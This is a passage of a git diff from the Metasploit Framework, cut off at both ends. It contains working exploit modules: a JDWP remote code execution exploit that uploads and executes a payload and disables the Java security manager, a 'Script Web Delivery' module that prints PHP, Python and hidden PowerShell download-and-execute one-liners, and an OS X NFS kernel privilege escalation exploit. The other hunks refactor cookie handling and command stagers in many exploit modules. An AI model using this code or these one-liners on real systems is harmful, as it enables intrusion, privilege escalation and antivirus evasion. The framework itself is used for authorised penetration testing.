format(@vars["referencetypeid_size"], class_id) + data << format(@vars["objectid_size"], thread_id) + data << format(@vars["methodid_size"], meth_id) + data << [args.length].pack('N') + + args.each do |arg| + data << arg + data << [0].pack('N') + end + + sock.put(create_packet(CREATENEWINSTANCE_SIG, data)) + buf = read_reply + buf + end + + def temp_path + return nil unless datastore['TMP_PATH'] + unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\') + fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH') + end + datastore['TMP_PATH'] + end + + # Configures payload according to targeted architecture + def setup_payload + # 1. Setting up generic values. + payload_exe = rand_text_alphanumeric(4 + rand(4)) + pl_exe = generate_payload_exe + + # 2. Setting up arch specific... + case target['Platform'] + when 'linux' + path = temp_path || '/tmp/' + payload_exe = "#{path}#{payload_exe}" + if @os.downcase =~ /win/ + print_warning("#{peer} - #{@os} system detected but using Linux target...") + end + when 'win' + path = temp_path || './' + payload_exe = "#{path}#{payload_exe}.exe" + unless @os.downcase =~ /win/ + print_warning("#{peer} - #{@os} system detected but using Windows target...") + end + end + + return payload_exe, pl_exe + end + + # Invokes java.lang.System.getProperty() for OS fingerprinting purposes + def fingerprint_os(thread_id) + size = @vars["objectid_size"] + + # 1. Creates a string on target VM with the property to be getted + cmd_obj_ids = create_string("os.name") + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0 + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + + # 2. Gets property + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty") + buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C') + + str = unformat(size, buf[1..1+size-1]) + @os = solve_string(format(@vars["objectid_size"],str)) + end + + # Creates a file on the server given a execution thread + def create_file(thread_id, filename) + cmd_obj_ids = create_string(filename) + fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0 + + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + size = @vars["objectid_size"] + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V") + buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array) + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C') + + file = unformat(size, buf[1..1+size-1]) + fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0) + + register_files_for_cleanup(filename) + + file + end + + # Stores the payload on a new string created in target VM + def upload_payload(thread_id, pl_exe) + size = @vars["objectid_size"] + if is_java_eight + runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder") + buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) + else + runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>") + buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) + end + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end + + decoder = unformat(size, buf[1..1+size-1]) + if decoder.nil? || decoder == 0 + fail_with(Failure::Unknown, "Failed to create Base64 decoder object") + end + + cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}") + if cmd_obj_ids.length == 0 + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") + end + + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + + if is_java_eight + runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B") + else + runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B") + end + buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) + unless buf[0] == [TAG_ARRAY].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") + end + + pl = unformat(size, buf[1..1+size-1]) + pl + end + + # Dumps the payload on a opened server file given a execution thread + def dump_payload(thread_id, file, pl) + size = @vars["objectid_size"] + data = [TAG_OBJECT].pack('C') + data << format(size, pl) + data_array = [data] + runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V") + buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array) + unless buf[0] == [TAG_VOID].pack('C') + fail_with(Failure::Unknown, "Exception while writing to file") + end + end + + # Closes a file on the server given a execution thread + def close_file(thread_id, file) + runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close") + buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"]) + unless buf[0] == [TAG_VOID].pack('C') + fail_with(Failure::Unknown, "Exception while closing file") + end + end + + # Executes a system command on target VM making use of java.lang.Runtime.exec() + def execute_command(thread_id, cmd) + size = @vars["objectid_size"] + + # 1. Creates a string on target VM with the command to be executed + cmd_obj_ids = create_string(cmd) + if cmd_obj_ids.length == 0 + fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") + end + + cmd_obj_id = cmd_obj_ids[0]["obj_id"] + + # 2. Gets Runtime context + runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime") + buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"]) + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end + + rt = unformat(size, buf[1..1+size-1]) + if rt.nil? || (rt == 0) + fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") + end + + # 3. Finds and executes "exec" method supplying the string with the command + exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec") + if exec_meth.nil? + fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") + end + + data = [TAG_OBJECT].pack('C') + data << format(size, cmd_obj_id) + data_array = [data] + buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array) + unless buf[0] == [TAG_OBJECT].pack('C') + fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") + end + end + + # Set event for stepping into a running thread + def set_step_event + # 1. Select a thread in sleeping status + t_id = nil + @threads.each_key do |thread| + if thread_status(thread) == THREAD_SLEEPING_STATUS + t_id = thread + break + end + end + fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil? + + # 2. Suspend the VM before setting the event + suspend_vm + + vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}") + step_info = format(@vars["objectid_size"], t_id) + step_info << [STEP_MIN].pack('N') + step_info << [STEP_INTO].pack('N') + data = [[MODKIND_STEP, step_info]] + + r_id = send_event(EVENT_STEP, data) + unless r_id + fail_with(Failure::Unknown, "Could not set the event") + end + + return r_id, t_id + end + + # Disables security manager if it's set on target JVM + def disable_sec_manager + sys_class = get_class_by_name("Ljava/lang/System;") + + fields = get_fields(sys_class["reftype_id"]) + + sec_field = nil + + fields.each do |field| + sec_field = field["field_id"] if field["name"].downcase == "security" + end + + fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil? + + value = get_value(sys_class["reftype_id"], sec_field) + + if(value == 0) + print_good("#{peer} - Security manager was not set") + else + set_value(sys_class["reftype_id"], sec_field, 0) + if get_value(sys_class["reftype_id"], sec_field) == 0 + print_good("#{peer} - Security manager has been disabled") + else + print_good("#{peer} - Security manager has not been disabled, trying anyway...") + end + end + end + + # Uploads & executes the payload on the target VM + def exec_payload(thread_id) + # 0. Fingerprinting OS + fingerprint_os(thread_id) + + vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}") + + # 1. Prepares the payload + payload_exe, pl_exe = setup_payload + + # 2. Creates file on server for dumping payload + file = create_file(thread_id, payload_exe) + + # 3. Uploads payload to the server + pl = upload_payload(thread_id, pl_exe) + + # 4. Dumps uploaded payload into file on the server + dump_payload(thread_id, file, pl) + + # 5. Closes the file on the server + close_file(thread_id, file) + + # 5b. When linux arch, give execution permissions to file + if target['Platform'] == 'linux' + cmd = "chmod +x #{payload_exe}" + execute_command(thread_id, cmd) + end + + # 6. Executes the dumped payload + cmd = "#{payload_exe}" + execute_command(thread_id, cmd) + end + + + def exploit + @my_id = 0x01 + @vars = {} + @classes = [] + @methods = {} + @threads = {} + @os = nil + + connect + + unless handshake == HANDSHAKE + fail_with(Failure::NotVulnerable, "JDWP Protocol not found") + end + + print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...") + get_sizes + + print_status("#{peer} - Getting the version of the target VM...") + get_version + + print_status("#{peer} - Getting all currently loaded classes by the target VM...") + get_all_classes + + print_status("#{peer} - Getting all running threads in the target VM...") + get_all_threads + + print_status("#{peer} - Setting 'step into' event...") + r_id, t_id = set_step_event + + print_status("#{peer} - Resuming VM and waiting for an event...") + response = resume_vm + + unless parse_event(response, r_id, t_id) + datastore['NUM_RETRIES'].times do |i| + print_status("#{peer} - Received #{i + 1} responses that are not a 'step into' event...") + buf = read_reply + break if parse_event(buf, r_id, t_id) + + if i == datastore['NUM_RETRIES'] + fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts") + end + end + end + + vprint_status("#{peer} - Received matching event from thread #{t_id}") + print_status("#{peer} - Deleting step event...") + clear_event(EVENT_STEP, r_id) + + print_status("#{peer} - Disabling security manager if set...") + disable_sec_manager + + print_status("#{peer} - Dropping and executing payload...") + exec_payload(t_id) + + disconnect + end +end diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index b18a55f292..7606159005 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -34,8 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'hdm', # module development - 'GML <grandmasterlogic [at] gmail.com>', # module development and debugging - 'Stefan Esser <sesser [at] hardened-php.net>' # discovered, patched, exploited + 'GML <grandmasterlogic[at]gmail.com>', # module development and debugging + 'Stefan Esser <sesser[at]hardened-php.net>' # discovered, patched, exploited ], 'License' => MSF_LICENSE, 'References' => @@ -255,7 +255,7 @@ class Metasploit3 < Msf::Exploit::Remote end # Detect the phpBB cookie name - if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /(.*)_(sid|data)=/) + if res.get_cookies =~ /(.*)_(sid|data)=/ vprint_status("The server may require a cookie name of '#{$1}_data'") end diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb index 8a7ac17992..d845ce36ef 100644 --- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb @@ -12,7 +12,7 @@ class Metasploit4 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::EXE include Msf::Exploit::FileDropper @@ -56,7 +56,8 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Windows Universal', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' }, ], ], diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb index a5a73f8f3e..85ed24179a 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb @@ -26,7 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient @@ -66,7 +66,8 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Windows x64', { 'Arch' => ARCH_X86_64, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' } ] ], diff --git a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb index 2b32642ace..e0b7025f3f 100644 --- a/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb +++ b/modules/exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb @@ -26,7 +26,7 @@ class Metasploit4 < Msf::Exploit::Remote Rank = GreatRanking - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient @@ -67,7 +67,8 @@ class Metasploit4 < Msf::Exploit::Remote [ 'Windows x64', { 'Arch' => ARCH_X86_64, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' } ] ], diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb new file mode 100644 index 0000000000..5a94b56a6e --- /dev/null +++ b/modules/exploits/multi/script/web_delivery.rb @@ -0,0 +1,93 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Script Web Delivery', + 'Description' => %q{ + This module quickly fires up a web server that serves a payload. + The provided command will start the specified scripting language interpreter and then download and execute the + payload. The main purpose of this module is to quickly establish a session on a target + machine when the attacker has to manually type in the command himself, e.g. Command Injection, + RDP Session, Local Access or maybe Remote Command Exec. This attack vector does not + write to disk so it is less likely to trigger AV solutions and will allow privilege + escalations supplied by Meterpreter. When using either of the PSH targets, ensure the + payload architecture matches the target computer or use SYSWOW64 powershell.exe to execute + x86 payloads on x64 machines. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Andrew Smith "jakx" <jakx.ppr@gmail.com>', + 'Ben Campbell', + 'Chris Campbell' #@obscuresec - Inspiration n.b. no relation! + ], + 'DefaultOptions' => + { + 'Payload' => 'python/meterpreter/reverse_tcp' + }, + 'References' => + [ + [ 'URL', 'http://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html'], + [ 'URL', 'http://www.pentestgeek.com/2013/07/19/invoke-shellcode/' ], + [ 'URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], + [ 'URL', 'http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'] + ], + 'Platform' => %w{python php win}, + 'Targets' => + [ + ['Python', { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + }], + ['PHP', { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + }], + ['PSH_x86', { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + }], + ['PSH_x64', { + 'Platform' => 'win', + 'Arch' => ARCH_X86_64 + }], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 19 2013' + )) + end + + def on_request_uri(cli, request) + print_status("Delivering Payload") + if (target.name.include? "PSH") + data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded) + else + data = %Q|#{payload.encoded} | + end + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) + end + + def primer + url = get_uri() + print_status("Run the following command on the target machine:") + case target.name + when "PHP" + print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"") + when "Python" + print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"") + when "PSH_x86", "PSH_x64" + download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" + print_line("powershell.exe -w hidden -nop -ep bypass -c \"#{download_and_run}\"") + end + end +end diff --git a/modules/exploits/multi/ssh/sshexec.rb b/modules/exploits/multi/ssh/sshexec.rb index 027144e742..96f968ce07 100644 --- a/modules/exploits/multi/ssh/sshexec.rb +++ b/modules/exploits/multi/ssh/sshexec.rb @@ -9,7 +9,7 @@ require 'net/ssh' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking - include Msf::Exploit::CmdStagerBourne + include Msf::Exploit::CmdStager attr_accessor :ssh_socket @@ -46,21 +46,22 @@ class Metasploit3 < Msf::Exploit::Remote { 'Arch' => ARCH_X86, 'Platform' => 'linux' - }, + } ], [ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' - }, + } ], [ 'OSX x86', { 'Arch' => ARCH_X86, 'Platform' => 'osx' - }, - ], + } + ] ], + 'CmdStagerFlavor' => %w{ bourne echo printf }, 'DefaultTarget' => 0, # For the CVE 'DisclosureDate' => 'Jan 01 1999' @@ -83,6 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote end def execute_command(cmd, opts = {}) + vprint_status("Executing #{cmd}") begin Timeout.timeout(3) do self.ssh_socket.exec!("#{cmd}\n") @@ -125,7 +127,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT']) - print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...") + print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...") execute_cmdstager({:linemax => 500}) end end diff --git a/modules/exploits/osx/local/nfs_mount_root.rb b/modules/exploits/osx/local/nfs_mount_root.rb new file mode 100644 index 0000000000..1a68c1d0ba --- /dev/null +++ b/modules/exploits/osx/local/nfs_mount_root.rb @@ -0,0 +1,93 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = NormalRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit', + 'Description' => %q{ + This exploit leverages a stack overflow vulnerability to escalate privileges. + The vulnerable function nfs_convert_old_nfs_args does not verify the size + of a user-provided argument before copying it to the stack. As a result, by + passing a large size as an argument, a local user can overwrite the stack with arbitrary + content. + + Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Kenzley Alphonse', # discovery and a very well-written exploit + 'joev' # msf module + ], + 'References' => + [ + [ 'EDB', '32813' ] + ], + 'Platform' => 'osx', + 'Arch' => [ ARCH_X86_64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [ + [ 'Mac OS X 10.7 Lion x64 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 11 2014' + )) + end + + def check + if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8" + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx') + file = File.join(osx_path, 'nfs_mount_priv_escalation.bin') + exploit = File.read(file) + pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" + payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}" + + print_status "Writing temp file as '#{tmpfile}'" + write_file(tmpfile, exploit) + register_file_for_cleanup(tmpfile) + + print_status "Writing payload file as '#{payloadfile}'" + write_file(payloadfile, pload) + register_file_for_cleanup(payloadfile) + + print_status "Executing payload..." + cmd_exec("chmod +x #{tmpfile}") + cmd_exec("chmod +x #{payloadfile}") + cmd_exec("#{tmpfile} #{payloadfile}") + end + + def xnu_ver + m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/) + m && m[1] + end + + def ver_lt(a, b) + Gem::Version.new(a.gsub(/~.*?$/,'')) < Gem::Version.new(b.gsub(/~.*?$/,'')) + end + +end diff --git a/modules/exploits/unix/http/lifesize_room.rb b/modules/exploits/unix/http/lifesize_room.rb index e8fef8bcbc..96d9b28600 100644 --- a/modules/exploits/unix/http/lifesize_room.rb +++ b/modules/exploits/unix/http/lifesize_room.rb @@ -56,11 +56,11 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET', }, 10) - if not (res and res.headers['set-cookie']) + if res.nil? || res.get_cookies.empty? fail_with(Failure::NotFound, 'Could not obtain a Session ID') end - sessionid = 'PHPSESSID=' << res.headers['set-cookie'].split('PHPSESSID=')[1].split('; ')[0] + sessionid = 'PHPSESSID=' << res.get_cookies.split('PHPSESSID=')[1].split('; ')[0] headers = { 'Cookie' => sessionid, diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb index 0ac6810817..dc117b6b1a 100644 --- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -113,4 +113,4 @@ class Metasploit3 < Msf::Exploit::Remote end -end \ No newline at end of file +end diff --git a/modules/exploits/unix/webapp/foswiki_maketext.rb b/modules/exploits/unix/webapp/foswiki_maketext.rb index a5b410086f..4701e7cb72 100644 --- a/modules/exploits/unix/webapp/foswiki_maketext.rb +++ b/modules/exploits/unix/webapp/foswiki_maketext.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if not res or res.code != 302 or res.headers['Set-Cookie'] !~ /FOSWIKISID=([0-9a-f]*)/ + if not res or res.code != 302 or res.get_cookies !~ /FOSWIKISID=([0-9a-f]*)/ vprint_status "#{res.code}\n#{res.body}" return nil end @@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote vprint_good("validation_key found: #{validation_key}") if session.empty? - if res.headers['Set-Cookie'] =~ /FOSWIKISID=([0-9a-f]*)/ + if res.get_cookies =~ /FOSWIKISID=([0-9a-f]*)/ session = $1 else vprint_error("Error using anonymous access") @@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote end end - if res.headers['Set-Cookie'] =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/ + if res.get_cookies =~ /FOSWIKISTRIKEONE=([0-9a-f]*)/ strike_one = $1 else vprint_error("Error getting the FOSWIKISTRIKEONE value") diff --git a/modules/exploits/unix/webapp/hastymail_exec.rb b/modules/exploits/unix/webapp/hastymail_exec.rb index ae6cfbfe69..9fb9ac8969 100644 --- a/modules/exploits/unix/webapp/hastymail_exec.rb +++ b/modules/exploits/unix/webapp/hastymail_exec.rb @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res and res.code == 303 - @session_id = res["Set-Cookie"] + @session_id = res.get_cookies print_good "#{peer} - Authentication successful" end end diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb index 1d13b0c83f..87d0ffbb1c 100644 --- a/modules/exploits/unix/webapp/havalite_upload_exec.rb +++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb @@ -130,4 +130,4 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Executing #{fname}...") exec(base, fname) end -end \ No newline at end of file +end diff --git a/modules/exploits/unix/webapp/horde_unserialize_exec.rb b/modules/exploits/unix/webapp/horde_unserialize_exec.rb index 90a1877755..5b599d3180 100644 --- a/modules/exploits/unix/webapp/horde_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/horde_unserialize_exec.rb @@ -141,4 +141,4 @@ class Horde_Kolab_Server_Decorator_Clean $popchain = serialize(new Horde_Kolab_Server_Decorator_Clean); -=end \ No newline at end of file +=end diff --git a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb index d3d21d0547..930db07be9 100644 --- a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'GET' }) - if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/ + if res and res.code == 200 and res.get_cookies =~ /(.+)session/ print_status("#{peer} - Cookie prefix #{$1} found") cookie_prefix = $1 end diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 9645358c82..fa6e2b56d8 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -177,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Checking Access to Media Component...") res = get_upload_form - if res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/ + if res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /You are not authorised to view this resource/ print_status("#{peer} - Authentication required... Proceeding...") if @username.empty? or @password.empty? @@ -196,7 +196,7 @@ class Metasploit3 < Msf::Exploit::Remote if not res or res.code != 303 fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate") end - elsif res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/ + elsif res and (res.code == 200 or res.code == 302) and !res.get_cookies.empty? and res.body =~ /<form action="(.*)" id="uploadForm"/ print_status("#{peer} - Authentication isn't required.... Proceeding...") @cookies = res.get_cookies.sub(/;$/, "") else diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb index 4bba1a2ef0..edb7fa1917 100644 --- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -20,9 +20,9 @@ class Metasploit3 < Msf::Exploit::Remote Nagios3 history.cgi script. }, 'Author' => [ - 'Unknown <temp66@gmail.com>', # Original finding - 'blasty <blasty@fail0verflow.com>', # First working exploit - 'Jose Selvi <jselvi@pentester.es>', # Metasploit module + 'Unknown <temp66[at]gmail.com>', # Original finding + 'blasty <blasty[at]fail0verflow.com>', # First working exploit + 'Jose Selvi <jselvi[at]pentester.es>', # Metasploit module 'Daniele Martini <cyrax[at]pkcrew.org>' # Metasploit module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/unix/webapp/nagios_graph_explorer.rb b/modules/exploits/unix/webapp/nagios_graph_explorer.rb index 0295f0f7db..9497ece6fd 100644 --- a/modules/exploits/unix/webapp/nagios_graph_explorer.rb +++ b/modules/exploits/unix/webapp/nagios_graph_explorer.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote return '' if !res nsp = res.body.scan(/<input type='hidden' name='nsp' value='(.+)'>/).flatten[0] || '' - cookie = (res.headers['Set-Cookie'] || '').scan(/nagiosxi=(\w+); /).flatten[0] || '' + cookie = res.get_cookies.scan(/nagiosxi=(\w+); /).flatten[0] || '' return nsp, cookie end diff --git a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb index a795414f59..d563f00ad0 100644 --- a/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb +++ b/modules/exploits/unix/webapp/openemr_sqli_privesc_upload.rb @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res && res.code == 200 and res.headers['Set-Cookie'] =~ /OpenEMR=([a-zA-Z0-9]+)/ + if res && res.code == 200 and res.get_cookies =~ /OpenEMR=([a-zA-Z0-9]+)/ session = $1 print_status("#{rhost}:#{rport} - Login successful") print_status("#{rhost}:#{rport} - Session cookie is [ #{session} ]") diff --git a/modules/exploits/unix/webapp/php_wordpress_lastpost.rb b/modules/exploits/unix/webapp/php_wordpress_lastpost.rb index 3bf1ab9d2d..7f7da159ed 100644 --- a/modules/exploits/unix/webapp/php_wordpress_lastpost.rb +++ b/modules/exploits/unix/webapp/php_wordpress_lastpost.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote option is enabled (common for hosting providers). All versions of WordPress prior to 1.5.1.3 are affected. }, - 'Author' => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ], + 'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index 2ee3f4a4b5..591fcc8ba0 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -83,7 +83,7 @@ class Metasploit3 < Msf::Exploit::Remote return end token = $1 - cookie = response["Set-Cookie"] + cookie = response.get_cookies # There is probably a great deal of randomization that can be done with # this format. diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb index 1a91c5763e..ad723c98d9 100644 --- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb +++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb @@ -112,10 +112,10 @@ class Metasploit3 < Msf::Exploit::Remote 'data' => 